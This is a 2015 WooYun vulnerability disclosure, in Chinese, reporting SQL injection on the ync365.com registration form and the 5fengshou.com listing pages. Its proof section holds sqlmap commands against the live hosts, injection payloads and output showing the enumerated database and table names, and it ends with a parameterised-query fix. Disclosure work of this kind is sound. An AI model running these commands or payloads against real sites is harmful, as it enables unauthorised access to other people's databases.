当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0128065

漏洞标题:云农场丰收汇及主站存在sql注入漏洞

相关厂商:云农场

漏洞作者: 月无痕

提交时间:2015-07-21 16:59

修复时间:2015-09-04 17:00

公开时间:2015-09-04 17:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-21: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-09-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

存在漏洞站点:
云农场主站URL:http://www.ync365.com
云农场丰收汇URL:http://www.5fengshou.com/
云农场是全国第一家网上农资交易及高科技服务平台,提供化肥、种子、农药、农机交易及测土配肥、农技服务、农场金融、乡间物流、农产品定制化等多种增值服务。截至2015年4月初,云农场已建立300多家县级服务中心,2万多家村级服务站,实现注册用户过百万户,覆盖山东、黑龙江、新疆、内蒙、湖北等十余个省区,服务土地面积约3000万亩。

详细说明:

主站及丰收汇站点均存在SQL注入漏洞。
1.主站注册提交页(http://member.ync365.com/register/save)userName处存在SQL注入风险。

注册页sql注入.png


2.丰收汇(http://www.5fengshou.com/sell/info/17923)存在伪静态sql注入,其他Id同样存在。

丰收汇sql注入.png

漏洞证明:

1.云农场主站注册页post sql注入(只注射出数据库名,未能拆解出表名..)

sqlmap -u "http://member.ync365.com/register/save" --data "userName=18511861234&userYz=040744&userPass=123zxc&userConfirmPass=123zxc&terms=on" --level 5  --dbs --dbms=mysql
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:47:11
[10:47:11] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: userName
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: userName=-2469 OR (8041=8041)&userYz=040744&userPass=123zxc&userConfirmPass=123zxc&terms=on
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: userName=18511865927 AND SLEEP(5)&userYz=040744&userPass=123zxc&userConfirmPass=123zxc&terms=on
---
[10:47:11] [INFO] testing MySQL
[10:47:11] [INFO] confirming MySQL
[10:47:11] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.8
back-end DBMS: MySQL >= 5.0.0
[10:47:11] [INFO] fetching database names
[10:47:11] [INFO] fetching number of databases
[10:47:11] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[10:47:11] [INFO] retrieved:
[10:47:11] [WARNING] reflective value(s) found and filtering out
[10:47:11] [WARNING] time-based comparison requires larger statistical model, please wait.........................
[10:47:14] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[10:47:14] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[10:47:14] [ERROR] unable to retrieve the number of databases
[10:47:14] [INFO] falling back to current database
[10:47:14] [INFO] fetching current database
[10:47:14] [INFO] resumed: ync365
available databases [1]:
[*] ync365
[10:47:14] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/member.ync365.com'
[*] shutting down at 10:47:14


2.云农场丰收汇站点伪静态sql注入

sqlmap -u "http://www.5fengshou.com/sell/info/17923*" --dbms=mysql -D 5fengshou --common-tables --no-cast
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:34:15
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q]
[10:34:16] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://www.5fengshou.com:80/sell/info/17923' AND SLEEP(5) AND 'CdNJ'='CdNJ
---
[10:34:17] [INFO] testing MySQL
[10:34:17] [INFO] confirming MySQL
[10:34:17] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.8
back-end DBMS: MySQL >= 5.0.2
[10:34:38] [INFO] checking table existence using items from '/usr/share/sqlmap/txt/common-tables.txt'
[10:34:38] [INFO] adding words used on web page to the check list
[10:34:38] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[10:39:18] [INFO] tried 2664/3327 items (80%)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[10:41:53] [INFO] retrieved: nuke_bbsessions
[10:42:06] [INFO] retrieved: binn_page_elems
[10:42:39] [INFO] tried 3090/3327 items (93%)
[10:42:41] [INFO] adjusting time delay to 2 seconds due to good response times
[10:42:41] [INFO] retrieved: M_PROCESSOS
[10:42:47] [INFO] retrieved: ALUM

Database: 5fengshou
[4 tables]
+-----------------+
| ALUM |
| M_PROCESSOS |
| binn_page_elems |
| nuke_bbsessions |
+-----------------+
[10:43:07] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.5fengshou.com'
[*] shutting down at 10:43:07

修复方案:

参数化查询代替拼接sql

版权声明:转载请注明来源 月无痕@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝